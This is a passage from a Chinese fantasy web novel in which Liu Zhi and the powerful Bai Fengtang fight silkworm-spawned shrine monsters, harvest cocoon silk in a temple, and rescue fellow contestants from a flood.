旁边的龛一时晃神,纷纷点头。不料下一秒,老头龛突然扯过柳鸷,单手拎起她的后衣领,挟着她,拂袖跑了——
“!”身后的五个龛反应过来,立马去追。
不到片刻,老头龛就被五个龛包围了。双方相互攻击,打做一团。老头龛对付五个龛着实有些吃力,不由自主的松了松柳鸷。
柳鸷抓准时机,从它身边一灰溜,跑进黑暗里。龛们见状,决定先合力捕到柳鸷,再谈论瓜分流金血事宜。
龛们陪柳鸷在黑暗的树林里,玩起了捉迷藏。夜太过于静谧了,稍稍移动,衣服的摩擦声、脚步声都可以听得到。
柳鸷躲在一棵无叶树干下方的小树洞里,不敢乱动。
“小姑娘别躲了,我们这么多人你逃不掉的。”
骤然,咣当的一下巨响。
震得树洞的顶部狠狠撞到柳鸷的头顶,柳鸷吃痛一声,听见几道悉索的声音往树洞这边来了。
柳鸷蹑手蹑脚的爬出树洞,仰头望,原来是一棵树从天上掉下来,落到了树干上,与树干完美的融合在了一起。
悉索的声音近了,柳鸷扭头就跑,却意外撞进了一个精悍的胸膛里。
迦南香瞬间将她萦绕——
柳鸷难以置信的抬眸,在缥缈的月色里,瞄见了熟悉的下颌,“你......”
柏封棠淡淡的嗯了一声。
龛的声音越逼越近:“别跑了,我看到你了,你在那乖乖等着。”
柳鸷揪住柏封棠的衣袖,“有六个龛在。”
话音刚落,六个龛挑着纱灯出现在眼前,原本得意的笑容在见到柏封棠的那一瞬间,顿住了,转而骇怪道:“柏神?”
柏封棠颔首示意,并顺势将柳鸷往怀里带。
老三困惑,“你不是从来不保护选手吗?怎么破例了?该不会也是为了她身上的流金血吧?”
柏封棠敛眸,垂首在柳鸷身上睃巡一遍,最终停在她左颈部的伤口上,眼神沉了沉,“它们碰你了?”
柳鸷反应过来,他是在指流金血,“那个老头吃了一滴。”
龛们见万年冰瘫脸的柏封棠,眉宇间竟流露出一股狠厉地躁怒,便知他保定这个姑娘了。
龛们自知硬刚不是对手,但只要这个姑娘还活着,下回再找机会吃了她就行。“既然这是柏神的人,那我们就不抢了,先告辞了。”
柏封棠佻达的轻笑着,“既然你们都知道了,还想一走了之?”
龛们慌了,“你......什么意思?”
“什么意思你们就不必知道了。”柏封棠褪去方才的懒淡,手持的法扇霎时反手为刃,横扫而过,径直砍断了一个老头龛的头颅。
剩下的龛见状,如五座大山一样将柏封棠和柳鸷圈围着,吐出的千蚕丝张牙舞爪地喷向两人。
柏封棠的左手稳稳的搂着柳鸷的腰肢,将她护在怀里,以扇为盾,格挡住杀气腾腾的蚕丝。
他身形一展,动作快且狠,如同舞动的探戈般,柳鸷转得有些惊心,忍不住攀手覆上柏封棠的后颈。
柏封棠合扇为刀,蚕丝猛然断裂,龛们被强大的冲力推倒。
柏封棠瞄准间隙,手腕一挥,猛然展开万锯法扇,扇骨射出十几束银色的寒光,携着呼啸的风声,直直逼向龛们的脑门。
顷刻间,龛们倒地,幻化出万千只蚕蛹,密密麻麻、气势汹汹地飞扑向两人。
15. 寒衣龛(十五)
柏封棠搂着柳鸷。
嘭地一声!
以两人为圆心向外半米处,冥火烛天,熊熊燃烧。
柳鸷在火圈内,越过柏封棠的肩膀环顾四周,黑褐色的蚕蛹密密麻麻的,不得近身,却如旋风般围绕着他们旋起,奋力冲击赤红色的火焰。
一黑一红,犹如两团风暴在夜空中猛烈地冲撞,焮天铄地,飞蛾赴火,焚身不吝。
在燃火中,蚕蛹烧得魂飞魄散。
不多时,蚕烬。
柳鸷松开柏封棠,“多谢。”
柏封棠合扇,以扇头轻轻敲了敲柳鸷的俏挺的鼻尖,低声道:“你太不小心了,若是我没下来,你该如何是好?”
柳鸷颦蹙,想起阙庭的悬赏令。人不会无缘无故的帮助同一个人一次、两次、三次,总会有所求的。
“柏封棠,你多次救我,所求得是阙庭的十万两黄金,还是我的流金血?”
柏封棠略顿,松开她,答非所问,“你觉得我只求这些?”
柳鸷不动声色,审视着一脸黑心样的柏封棠。
柏封棠笑了笑,散漫道:“若我求的更多,你又该如何逃出我的手掌心?”
柳鸷垂头,暗自思忖,现在是逃不了,不过——“可以打个商量吗?”
柏封棠玩味的,“嗯?”
“你如果是想要我的血,我可以分期给你,但我希望你在此之后能够继续保证我的安全。”柳鸷的想法很简单,反正定期输点流金血,应该也不会有事。
在此前,她需要先借助于这个人的力量,慢慢的提升自己,直到有一天能把这个人干翻为止!
柏封棠半眯着眼睛,眸色危险道:“倘若,我要的不是流金血呢?”
柳鸷:“?”
柏封棠一哂,探手抚摸柳鸷的伤口上的一滴流金血,觊觎着:“罢了,现在就算把你放干血,也满足不了我。”
柳鸷警惕地后退半步,心想不要最好了。
但柏封棠话锋一转,携着一丝丞不可待,“但,我要收一点利息。”
“什么?”
柳鸷还未反应过来,柏封棠的手掌骤然扣着她的后脑勺,欺身而下,冰凉的薄唇覆上她左颈的肌肤上,舌尖舔舐过伤口,允住。
柳鸷心尖一颤,脑海里如炸开了花般,绚烂的鼓噪着。
柳鸷的胸腔里,不安分的小心脏正在砰砰砰的狂击。她自我告诫,这不是心动,只是吊桥效应。
柏封棠只是在吸血,收取他的利息而已。
对,一定是这样的。
柳鸷挣了下,欲推开柏封棠一些,却被他紧紧的禁锢住,“别动。”
一股热源覆上柳鸷左侧脖颈的伤口,柏封棠又在用法力帮她修复伤口了。
柳鸷不敢轻举妄动,很快,伤口就不痛了。
柏封棠退开身,从容不迫道:“契约此刻生效。关于你是流金血的事,如果再让第三个人知道,我不介意拿根鞭子拴着你,捆在脚边。”
柏封棠言语中带着胁迫,连眉梢染上了一抹异样的锋芒。他信步出了火圈,徒留下微顿的柳鸷。
柳鸷脑海里反复回响着他的话,不得不怀疑这个人有病。
他可能,真的会做出这种事情。
柏封棠展手,在一堆灰烬里拾起六片金箔递给柳鸷,“送你。”
柳鸷见过貌宜收集了两次金子,一次是蚕茧爆裂的金箔,一次是被蚕食选手的金豆。
“大家都在收集金子变得更强大,但我浑身流金,为什么还这么菜?”
“收集金子只是变强大的一部分,更重要的是如何运用、发挥金子的能力。”
难怪!
柳鸷问:“那我要如何运用流金?”
柏封棠的嘴角似笑非笑,“想拜我为师啊?可我从不收徒的。”他又很欠打的说:“如果是你的话,表现好一点,我会考虑的。”
啧!
这家伙贼着呢。
柳鸷拿过六片金箔,打量着。
“放在掌心,集中精力冥想着,融进身体里。”柏封棠说。
柳鸷按照他说得,将金箔融入身体里,和别人的金子不同,金箔到了她的体内化成流金血。
柳鸷只是觉得补充了血液,舒服,但并不像其他选手那样增加法力。
柳鸷明白,毕竟她不是真正的选手,选手依靠金子获得法力,而她依靠的是观众满意值的升级。
柳鸷转而问柏封棠:“话说你怎么下来了?”
“闲着无聊,提前下来熟悉下场地。”柏封棠说着,一棵树猝然从天空中掉下来,稳稳的,立在树干上。
紧接着,一棵又一棵的桑树哐哐哐地往下掉,十分密集,震得地面剧烈晃动。
柳鸷扶住一旁的树干,才勉强站住脚。
极夜里的树变多了。
柳鸷仰头,发现午夜的月亮竟然倾斜了。
柏封棠循着她的目光望去,解释道:“秦为墨在上面带领选手们砍树。预计等树都回到极夜,上下两座山就会重合在一起。”
“你怎么知道?”柳鸷讶异。
“我知道的很多。”柏封棠又补了一句,“就不告诉你。”丢下这句傲慢的话,他潇洒的迈步,往前方走去。
柳鸷还想问问他关于那个黑发女人,但见他这痞贱、痞贱的样儿,心想:不问你,我迟早也会搞明白的!
柏封棠走出几步,回头见柳鸷气鼓鼓的一张小脸,不由好笑的出声逗她:“你不是说你来过极夜吗,不带我四处逛逛?柳、向、导。”
别的选手都在因时间紧迫,焦急地砍树干活,这家伙竟然想让她当导游,带他闲逛赏月。
柳鸷默默的叹了一口气,“走吧,带你去不巅庙瞅瞅。”
柳鸷带着柏封棠在树林里“散步”,前方传来一阵叮叮铮铮的尖锐碰撞声,似乎有人在打斗。
柏封棠对前方的生死毫无兴趣,柳鸷秉着看热闹不嫌事大的态度,拉着柏封棠往打斗方向去。
两人躲在半人高的树干后面,一上一下的偷偷探头瞧。
有两个龛在攻击的两个人,竟然是谷栖夏和江琥。两人衣裳破损、还染了血,看起来过得十分狼狈。
不过两日不见,谷栖夏的法力好像变强了很多,之前仅仅是一个龛爆炸所带来的蚕蛹,他们几个人都对付不了。谷栖夏最后还是甩了柳鸷当替死鬼,才勉强逃脱。
但现在,谷栖夏一人单挑两个龛,江琥在一旁协助。
柳鸷是专注的盯着前方的打斗现场,而柏封棠垂着眸,若有若无的凝视着身下的人儿。
打戏,似乎挺精彩的。
柳鸷十指交扣的拍了拍手,不忘“不错不错”的点评一二。
她娇巧的薄唇未点而赤,在微茫的光线
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里张张翕翕,看着极为柔软可欺,又仿佛捏一捏就要碎掉......
月亮从乌云里逃跑。
银色的光晕,蓦然跌落在柳鸷的脸庞上,照着肤光胜雪的她,美得像一只摄人心魄的精灵。
精灵本人并不知情,一味的潜心研究谷栖夏和江琥的打法。
前方,龛连连攻击,谷栖夏不断闪着身形,分身乏术,顾不上江琥。
而江琥拿剑胡乱砍着,很是吃力,在他即将被龛重击时。柳鸷暗中抄起一块石头重重弹射在龛的脑门上,为谷栖夏和江琥获得了喘息的机会。
谷栖夏抓准时机,疾速反攻。
谷栖夏敏捷的身形宛如游蛇般步步旋着长剑,每一剑都饱含着凌厉的杀意,锵锵有声的砍在龛身上。
最后,左右两剑劈死了龛。
两个龛在死前放出最后的反扑,化成千万只蚕蛹,黑压压扑向两人。
柏封棠看了柳鸷一眼,反手,掌心盛火,递给柳鸷。柳鸷见了,觉得好玩,小手一挥,火焰急速扑向蚕蛹。
蚕蛹,在半空中停住,燃为灰烬。
柳鸷起身,拍了拍身上的灰烬,“我们走吧。”
江琥闻声,眼尖的瞥见柳鸷,呆在原地。他搓了搓眼睛,复看后,刹那红了眼眶,哆嗦着:“柳.....鸷?”
江琥浅灰色的衣裳都染了血,下颚蓄着新的胡须,小跑到柳鸷跟前,“柳鸷,你真的还活着吗?真是太好了。”
江琥激动的、猛然落了泪。
柳鸷有些无措。
谷栖夏见到柳鸷也很惊讶,随即望见了柳鸷身后,悠然伫立着的柏封棠,有些难以置信。但还是低头喊了一声:“柏神。”
柏封棠冷冷淡淡的,没有理会。
这时,江琥才看见了柏封棠,“柏......柏神?”江琥懵了,懦懦的往柳鸷旁边躲了下。
谷栖夏合上剑,在灰烬里取走两片金箔,融进身体里,才狐疑着问柳鸷:“你明明被蚕蛹吞噬了,怎么还活着?”
柳鸷没理她,只是对江琥解释,“你们跑了之后柏封棠就来了,是他救了我。”柏封棠睇向柳鸷,柳鸷调皮的眨了眨眼。
江琥邋遢的红着眼说:“对不起。之后我们还回庙里去找过你,但并没有看到你的尸体,我真的......”
江琥一时哽咽。
柳鸷偶然瞥见他带血的右边袖口,空荡荡的。她伸手碰了一下,错愕道:“你的手?”
江琥吃痛一声,尴尬又无措地说:“没没事。是之前遇到蚕蛹,被蚕蛹钻进手里。为了保命,只好砍了。栖夏帮我封住了血,已经不疼了。”
不疼吗?应该还是很痛的。
柳鸷叹了一口气,怎料,江琥倏地说:“这两天我好担心你啊,幸好你没有事。”
柳鸷忪怔住。
怎、怎么和哥哥曾经说过的话一样。
她已经超过48小时没见到哥哥了,不知道哥哥会不会以为她失踪了,正焦急的四处寻找她。
一想起哥哥,柳鸷心里软软的。
柳鸷无力的点了点头,安慰江琥,“没事,我这不是还活着嘛,你的手不疼就好,疼的话你和我说,我给你想办法。”说完,她转过身仰起头,缓了缓满是酸意的眼睛。
柏封棠的嘴角抽搐了下,卒然附在柳鸷的耳畔后,敛着气问:“你喜欢他?”
16. 寒衣龛(十六)
柳鸷:“?”
“你胡说八道什么?”柳鸷嗔怒地瞪着柏封棠,原本弯弯地月眼硬是被她瞪成了满月。
柏封棠滚了滚喉结,“那你为什么难过?”
柳鸷不想和别人谈论私事,特别是哥哥,就小声说:“江琥人很好的。我只是没想到......”
“如果我能把他的手接回,你是不是就不难过了?”柏封棠问得很认真。
“真的?”
“嗯,等回到阙庭,可以办到。”
柳鸷想着挺好的,开心的抓起柏封棠的左手,用力的握着抖了抖,“谢谢!我替江琥先谢谢柏神了!”旋即,跑去和江琥分享喜讯。
柏封棠谛视着自己的手掌,掀唇笑了笑。
江琥和柳鸷叙说这两日在极夜遇到的事情。
极夜的不巅庙里多了很多蚕茧,但江琥和谷栖夏都不敢靠近。因为蚕茧随时会爆炸,从而出现新的龛和蚕蛹。龛们会四处猎食,虐杀选手。
江琥和谷栖夏遇见过两次龛,为了不被龛抽筋剥皮,俩人只好到处躲藏。其间也遇上过其他选手,不过他们不愿意带两人一起,就分开了。
这也验证了极昼消失的蚕茧,确实是掉到了极夜里。
柳鸷也将极昼所遇之事和江琥分享了下,双方交换的信息后,决定前往不巅庙,取蚕丝。
出发前,谷栖夏拉住柳鸷,以一副质疑的神色问:“你和他是什么关系?”
柳鸷懒得回她,“什么什么关系,他是我的救命恩人啊。”
“据我所知,柏封棠不会无缘无故救你。你自己小心点吧。”
柳鸷冷哼,“这句话也送给你,你才该好自为之。你只能卖我一次,绝不会有下次!”
谷栖夏生气的走了。
乌云聚集,遮蔽了天光。
婆娑的树影,像一具具无头的尸体,透露着一股阴森森的鬼气。
四个人连盏灯都没有,一同摸黑着前往不巅庙,鬼影幢幢,看着比龛还要可怕。
柳鸷、江琥和谷栖夏在前头走。
柏封棠百无聊赖的把玩着法扇,像陪小孩子玩过家家般悠哉的跟在柳鸷身后。
路过小路时,两旁还是黑漆漆的,没有像极昼一样生长着花草。
在靠近不巅庙时,四人听见庙殿里头传来怪声的吐槽,“怎么这么慢呐?这都多少天了,竟然还有这么多没破茧。”
四人从古庙的侧方,翻墙入内,三人蹲在殿外的窗户下,悄悄捅破了窗棂纸,窥视着殿内。
柏封棠长身玉立,倚靠在石柱后,不屑做这种偷偷摸摸的事情。
庙殿内,貌宜挑着一盏纱灯,跟在一个小矮子身后,照亮了漆黑中,一块又一块的木板。
小矮子咚地一下,跳上其中一块木板。
三人看清了,是没有鼻子的脸,是人彘木偶。
江琥吓了一大跳,幸亏被柳鸷捂住嘴巴,否则就被人彘木偶发现了。
人彘木偶的膝盖骨用劲踩了两脚蚕茧,蚕茧剧烈抖动。一旁的貌宜垂着手,恭敬的说:“龛主,还有两个时辰就满三天了,请您莫要心急。”
这时,蚕茧嘭地爆炸,炸出了一堆的黑褐色的蚕蛹。蚕蛹似乎兴奋的飞扑向人彘木偶和貌宜,围绕着它们跳舞。
人彘木偶嫌烦,正要出手把蚕蛹粉碎了。又想到,这毕竟是它的子子孙孙啊,才停住了,挥了一下手,让蚕蛹们都滚出殿外。
木板上醒来的小新龛,看见人彘木偶,倏然尖叫:“你......你是谁?”
貌宜细心的提醒,“你已被感染为龛,这位是我们的龛主。”
小新龛慌乱的喊:“我才不要当龛,我要去找我的伙伴们。”它跳下木板,往殿门跑去。
人彘木偶歪头问貌宜,“它跑什么?我是什么可怕的怪物吗?”
貌宜感知到龛主生气了,连忙躬下身,“不,不是。”
果然,人彘木偶面露怒容,出声:“站住。”
小新龛没有理会,依旧往前跑。在它快要跑出殿门时,一面水镜突然在小新龛面前。
幽暗的光线下,龛看见了镜子里自己的模样,吓得尖叫。
人不人,鬼不鬼。
人彘木偶从身后飞过去,直接卡住了小新龛的脖子,不耐烦的掐着它,迫使它看向镜子,“你看看、你现在比我还像一个怪物。就你这样,你以为你的同伴还会容得下你?”
语毕,人彘木偶张开木嘴,尖锐的木牙似凶残的獠牙,一口咬着,嵌进小新龛的脖子。
片霎,小新龛无力的软下身,人彘木偶如丢弃垃圾般将它甩在地上。
这是一个弱肉强食的世界,就算你不愿意,但你依旧成为了龛,龛是无法逆转的。所以,你只能以龛的外表与人的思维去斩杀原来的同胞,以他们的血肉来获得你生存的延续。
如果你不这么做,那么你也会被原来的同胞斩杀。
人彘木偶鄙弃的擦了擦手,又瞧了一圈剩下的蚕茧,“一群睡不醒的废物。貌宜,你在这里看着,不能让选手取走蚕丝。”
“貌宜明白,恭送龛主。”
而后,人彘木偶头也不回的,蹦蹦跳跳地离开了庙殿。
貌宜往庙殿中央得神像走,突然停下脚步,朝柳鸷这边的窗户扫过一眼,吓得三人赶紧缩下脖子。
趁她转向神像,四人快速撤离。
庙院外的灌木丛旁,柏封棠说:“等这些蚕茧全部破茧,那就没有可以用于制衣的蚕丝了。”
“啊,那怎么办?”江琥又问:“没有蚕丝的话,可以用我们身上的衣服吗?”
谷栖夏拍了江琥后脑勺一掌,“你没看寒衣龛的规则吗?你以为龛主会穿着你穿剩下的二手衣等死?”
江琥默默的低下了头。
柳鸷想起庙殿内,仅剩下的三具蚕茧,回忆起小时看过的课外书。
蚕蛾在破茧时,会分泌液体损坏蚕茧。所以要缫蚕丝,就不能让蚕蛾破茧,应该用热水、烘烤或低温冷冻等方法,将蚕蛹弄死,这样缫的长丝才会根根分明又漂亮。
于是,柳鸷说:“我们现在有两种方法。其一,将蚕茧挪到织染坊的大水缸里,用热水烫死蚕茧里的龛与蚕蛹;其二,直接切割缫丝。弊端是蚕茧裂开,只能缫短丝了,且龛和蚕蛹会攻击人。我们得法力高强,对抗得了才行。”
柳鸷率先表明观点,“我会选第二种。这里离织染坊太远,蚕茧太大,如果在运输过程中爆炸或遇见其他龛,会更棘手。”
江琥举手赞成。
谷栖夏也赞成,“龛主的身体如此娇小,一具蚕茧足以做一件它的衣裳了。”
谷栖夏邀请柳鸷,“我们合作,一会去切割一具蚕茧,怎么样?”
江琥不明白,“柏神在这,他的法力比我们三个结合起来都要高很多,为什么不让他直接去切割?”
柳鸷心想,他是他,我是我。
总不能什么事情都找柏封棠帮忙。嘴上回的却是:
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“可以啊。他去切割好了,那蚕丝就属于他。但他之后不一定会把蚕丝分给你们哦。”
谷栖夏知道柳鸷还记恨着上次的仇,故意这么说。
但为了蚕丝,谷栖夏还是低声,好言劝着柳鸷。
柳鸷爽快的答应了。
因为她发觉不行动下,观众满意值都停滞不动了,这样猴年马月才能回去见到哥哥啊?
柏封棠无所谓,就当陪柳鸷玩。他游刃有余,只提醒一句,“多切一具。人彘木偶不是龛主的真身,龛主大概率是个大人。”
柳鸷回想起人彘木偶的身体,依据骨骼大小,判断其应该是一个成年男人,只是被砍断了手脚,做成人彘的模样。
柳鸷乖巧的答:“好,听你的,切两具。”
谷栖夏和柳鸷打算先引开貌宜,但远处的树林里一声巨响,灌木丛忽然开始摇晃,连不巅庙都在晃动。
江琥疑惑:“又地震了?”
“是极昼的树越来越多回到极夜了。”柳鸷说:“快看,貌宜出来了。”
貌宜从庙殿里匆匆跑出,眺望向桑树林。
巨响愈来愈猛烈,震动还在继续,柏封棠笃定,“她会离开的。”果然,貌宜拔腿往桑树林方向跑去。
借此,四人摇摇晃晃地进入庙殿。
谷栖夏持剑在一旁,随时准备砍杀龛。
柳鸷借江琥的剑,双手合力握住,举起剑,集中法力,一剑将蚕茧从头至尾切割开。
蚕茧裂开缝,龛猛的惊醒,探出一双黑紫色的手,尖锐的手指缓慢的攀在涂白色的蚕丝上。
慢慢的,龛脱了茧,爬了出来。
蚕茧像失去了养分,朝两边散开。如众人预料般,龛和蚕蛹倏地发起攻击。
这时,地震的速度骤然加快,整座庙摇晃得更加剧烈。地动山摇间,庙殿的地面裂开了一条缝隙。
柳鸷等人,包括龛都站不稳了。地缝裂得越来越深,谷栖夏跪抱着晃动的石柱问:“这要怎么办?”
只有柏封棠,他稳稳踱步至柳鸷身后,将她护住怀里。
柳鸷被人从身后扶住,稳稳的护在怀里。柳鸷不用回眸,光闻着熟悉的迦南香便知道是柏封棠。
这个人太强了。
柳鸷借他的力堪堪稳住,就瞥见地缝的深渊里,露出一片金黄色的琉璃飞檐翘角。
这分明是极昼里不巅庙的庙檐角!
“庙生庙,水生水,山山重叠,神龛的幻影要破灭了。我们先上庙檐避下。”柏封棠带着柳鸷往殿外撤离,谷栖夏和江琥踉跄地紧随其后。
柳鸷不禁回头望,庙殿正中央的巨大神像,岿然不动。
刚出殿门,就见庙院门口涌进一股洪流,很快,洪流争相夺门,澎湃的越过庙墙,翻进庙院,直击庙殿。
四人快速翻上庙檐,不巅庙猝然剧震,伴随着一声震撼的巨响之后,才稍微缓和下来。
柳鸷站在高处才发现,东边缓缓冒出了一点点日出的光晕。
是太阳,要升起来了。
和煦的暖光,照亮了整座山。而山下的村落、小路已经洪涝成了一片汪洋。
浑浊的黄水面上只剩下不巅庙的庙檐,与远处树林里的桑树枝叶。
络绎不绝的人头在洪流里浮浮沉沉,呼喊着。
“救命!”
“救救我!”
“水下有龛!”
“啊!师兄!美人姐姐!救我!”柳鸷听见万宝子的呼救,循声而去。
17. 寒衣龛(十七)
声源的距离太远,柳鸷并未发现万宝子。
柏封棠打算过去寻找万宝子。
洪水的水位线已经漫延到庙檐尖角了,方才被柳鸷切割开的那具蚕茧,被水流卷出,像两半相连的小船,漂浮在水面上,游荡着。
柳鸷扯住柏封棠的衣袂,“我也去。”又指着蚕茧小船,“我们乘那个过去。”
但下一秒,柳鸷就傻眼了。
水面骤然冒出龛的头颅——
龛们犹如一具具的僵尸,从水下爬了出来,抓着被切割成两半的蚕茧边沿,借力飞到蚕茧里。
蚕茧船被霸占了。同时,被洪流冲往庙檐边。
这么多龛!
柳鸷不禁后退半步,退到柏封棠身后。
柏封棠轻飘飘的环了一眼,叮嘱:“你先在这站好。”
柏封棠轻踏水面,凌空跃迁至蚕茧小船前,反身螺旋侧踢,龛们还来不及反击,一个个、被他无情地踹下了蚕茧船。
其中一个龛不甘心,奋力反击,试图爬回蚕茧船。柏封棠一脚踩爆了它的头,径直踢下了蚕茧船。
在洪流将蚕茧船冲至庙檐的片霎间,柏封棠已将数个龛,解决掉了。
洪水面在一抹橙红色的晨曦照耀下,亮得波光粼粼,天地之间,泛着金光。
柏封棠静静的伫立在蚕茧小船头,朝柳鸷伸出了左手,金币驳链在风中摇曳。柳鸷抬手覆上,任柏封棠牵着,上了蚕茧船。
柳鸷刚在蚕茧船上站稳,裙角就被庙檐上的谷栖夏拽住了,“你们也带我一起去。”
柳鸷还没来得及表态,一股洪流冲过来,势头太大,蚕茧船都要被冲翻了。
柏封棠敏捷地扶住柳鸷,用法力稳住船只。
柳鸷与谷栖夏,一人在船,一人在庙,谷栖夏被洪流裹挟着往后倒。
柳鸷的裙角“嘶——”的一声,断裂了。谷栖夏和江琥惨叫一声,一下子就被洪流卷走,连人影都看不见了。
太危险了!
前方,万宝子再次呼救,柳鸷看向柏封棠,他的神色毫无波澜,控制着蚕茧船的流向,往前方去寻找万宝子。
水面上,四处飘散着人头,扑扇扑扇的,生脸居多,分不清是龛,还是未曾谋面的极夜选手。
柳鸷遇上一张熟脸,是在极昼帮忙砍树的小伙子,韦舟。柳鸷俯下身要去拉人,柏封棠沉声:“让他自己爬上来。”
韦舟撑着蚕茧边沿,借力翻上了蚕茧船。
韦舟乏力的瘫坐着说,极昼的选手们砍完最后一棵树,刚塞进蚕丝佩囊里,地就裂开了。
他们全部掉进了深渊里,之后发现又来到了地面。刚站稳,又被涌来的洪水冲走,恍恍惚惚,回过神,就已经这样了。
看来,上下两座山已经完全融合了。
韦舟提议,借他半个蚕茧往树林那边去捞人。柳鸷利落拔剑,将半个蚕茧割下,推给韦舟。
两方就此分别。
柏封棠和柳鸷的蚕茧船行至万宝子呼喊的区域,洪水忽而安静了下来。
柏封棠的寒眸扫过四周,无人。
柳鸷喊了两声万宝子,也无回应,转而问柏封棠,“刚才洪水是流动的,宝子会不会被冲到下沿去了?”
“他在水下。”柏封棠沉声说,从腰间抽出万锯法扇递给柳鸷,“你呆在这,我下去看看。”
柳鸷接过法扇,新奇的打量,“怎么玩?打开扇吗?”
柏封棠噙着一抹纵容的笑,“随便你玩。”他一跃而下,跳水的姿势极其漂亮,只溅出了零星的水花。
静谧的水面上,柳鸷躺在蚕茧船里,晒着阳光,把玩着法扇。
扇骨的白玉鲜亮莹润,圆融无瑕,成色极好。
水下突然冒泡,发出“咕噜咕噜”的声音。
柳鸷坐起身,听见水下有女声在哀求,“救救我!我再也不来上阶龛了,太难了。谁来救救我!”
柳鸷朝水里喊了一声,“你浮上来。我接着你。”
“真的吗?”水面下方的人语调欣喜,缓缓的螺旋上升,泛出一圈又一圈的涟漪。
柳鸷探下手,欲要去接她。
涟漪中,窜出一只指甲尖锐,皮肤黑紫的手——
柳鸷吓得立马收回手,扬扇呼煽过去,带起黄水翻滚着覆过龛的手,只听见龛的惨叫声。
而后水面慢慢的,又恢复宁静。
片霎间,蚕茧船震了下,又震了下。柳鸷扭头,看见一只、两只、三只龛的爪子攀上了左侧蚕茧的边沿。
柳鸷心惶惶的,想用法扇扇开它们,蚕茧船开始剧烈震动,右边的蚕茧边沿,也攀上了龛的爪子,四只、五只、六只......
刹那间,蚕茧的边沿被龛,团团围绕住了——
*
洪涝的另一头,秦为墨揽着陈离翡从洪水里贯出,稳稳的将她安置在高处的树枝上。
树枝承受重量,弯了下来,为了避免超重,折断树枝,“抓好了。”秦为墨叮嘱着,闪身到另一个树枝上。
陈离翡趴在树枝上,抱着树枝,呸呸呸的吐出几口黄水,又拍了拍小心脏,骂骂咧咧着:“搞什么鬼啊!全身都湿透。”
“好了,别生气了,一会就会退潮的。”秦为墨安抚着,正在扒拉自己湿哒哒裙袍的陈离翡,气得踹了一脚空气。
一股激流涌过,陈离翡坐着的树枝骤然断裂,“啊——”
陈离翡抱着树枝落进水里,秦为墨急速下水去捞她。水流的冲劲很大,两人被冲了出去。
冲到平缓地带,水流才稳了些。
秦为墨整个身体沉在水里,单臂搭着浮木,托着陈离翡坐上浮木。
一具完整的蚕茧撞上了陈离翡的侧腰。
秦为墨一惊,正要用法力打爆蚕茧,陈离翡却很是讶异,“等等。这个蚕丝好像不割腰子耶!”说着她抚上蚕茧,果然,不伤人。
“呀!蚕丝有了!”陈离翡爬上蚕茧,秦为墨则翻身上去。
这头,柳鸷被龛们不断摇晃着蚕茧船,摔在了蚕茧底。龛们抓住蚕茧边沿,从水下探出头,扑上来,要杀死柳鸷。
柳鸷摔得头晕目眩。见龛们杀气腾腾,她也气急了,半撑起身子,攥着法扇,手速极快的啪啪啪......的横扫一圈,狠狠的敲在龛的天灵盖上。
法扇敲歪了最后一个龛的脸,龛被迫转过头,看见身旁第一个被敲的龛,好奇的问:“你的头......怎么裂开啦?”
第一个龛满脸疑惑,半晌说:“你的不也裂——”黑紫色的血,快速从第一个龛的头上淌了下来。
紧接着,第二个龛的头也涌出很多血。
一圈的龛,头颅从天灵盖裂开,纷纷倒进洪水里,激起了一片又一片的水花。
很快,蚕茧船近区的黄水,被晕染成浅浅的黑紫色。
柳鸷感叹,这法扇这么厉害,要是归她所有就好了。
不远处,柏封棠抱着万宝子从水底下贯上来,轻踏水面溅波光,而后,稳稳的落在蚕茧船上。
两人的脸颊都染上了龛的血,特别是万宝子,一身浅绿色的交领童袍染成了黑紫色。
柏封棠单膝抵着蚕茧底部,一手撑着昏迷的万宝子,一手拍在他的后背。
万宝子呕出一滩黄水,咳了好几声,才清醒过来。他瞥见柳鸷,激动的大喊:“美人姐姐,刚刚真的是太刺激了!师兄咔咔咔的杀——”
“安静。”万宝子说得正起兴,被柏封棠喝止了。柳鸷望向两人方才冲出的湖面周边,
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已经一片黑紫。
色调的浓度还在随着底部的血液上涌,不断加深。
柏封棠慢条斯理地划着蚕茧船,带着柳鸷和万宝子离开这片区域。一路上,边打龛,边捞选手,累得喘气。
期间,柳鸷看见了江琥,顺手捞了上来了,但未曾发现谷栖夏。
一刻钟后,柳鸷与韦舟相遇,两艘蚕茧船上,皆已站满了选手。
“柳鸷!柳鸷!快看我发现了什么。”柳鸷的身后传来了陈离翡炫耀而激动的喊声。
柳鸷眯着眼睛,远远的,望见了一具完整的蚕茧漂浮在水面上,蚕茧上站着秦为墨,以及......开心的骑在蚕茧身上的陈离翡。
漂近了些,陈离翡朝柳鸷挥了挥手,“好久不见!柳鸷!你看我这个不割——欸?你们脚下的船也是蚕茧吗?”
柳鸷回应:“嗯,劈开了。不过我们不是才一晚上没见吗?”
陈离翡盘腿,双手叉腰,撇撇嘴,“这你就不懂了,我对你啊,是一夜不见如隔三秋。”
柳鸷满头黑线。
心想,我信你个鬼!昨天还恨不得要生啖我的流金血呢!
等陈离翡的蚕茧与两半蚕茧船汇合,秦为墨才放松下来,拧着衣袍的水,“什么时候退潮?”
“辰时。”柏封棠投向日出,算了下,“快了,再等等吧。”
近二十个选手,就站在蚕茧船上聊天,打发时间。他们在讨论着有了蚕丝做什么衣裳给龛主,龛主才会满意。
潮水慢慢的退去,水面在往下沉,露出了整座不巅庙。
真正的不巅庙经历过数百年的岁月洗礼,琉璃飞檐角已被磨平了棱角,朽木残梁,断落一地,已不复辉煌。
周遭弥漫着泥土的气息,与洪水的腐臭交杂,真是一股烂木头的味道。
选手们跳下蚕茧船,迈入泥泞的土地里。
每一步,都显得艰难,个个靴子上都沾了泥浆。
韦舟走到柳鸷面前说:“这半个蚕茧归还于你,多谢你救了我。”
柳鸷说:“不客气,你也救了很多人。”
秦为墨从蚕茧上跳下来,站在泥浆里展开手臂,对陈离翡说:“小翡,下来。”
陈离翡瘪着嘴,摇了摇头,指着秦为墨说:“脏,你拖。”
秦为墨宠溺的叹了一口气,正准备拖起蚕茧。
陈离翡无意间瞥见了另外一具蚕茧。于是,她飞快的跳下,“你把这具蚕茧看好了。”说完,陈离翡屁颠屁颠地跑去右前方。
秦为墨懵了,不是让他拖吗?
右前方的泥地里,陈离翡费力的拖过另一具完整的蚕茧。
怎料,还没拖两步,蚕茧就被曲皓尧带着兄弟一把拽过。
曲皓尧方才差点溺水,恰好碰上蚕茧,抱住了蚕茧,借着蚕茧稳住身体浮在水面上,不下沉。
退潮后,他一个人拉着蚕茧很吃力,所以去喊了两个兄弟过来帮忙,没想到蚕茧被陈离翡抢了。
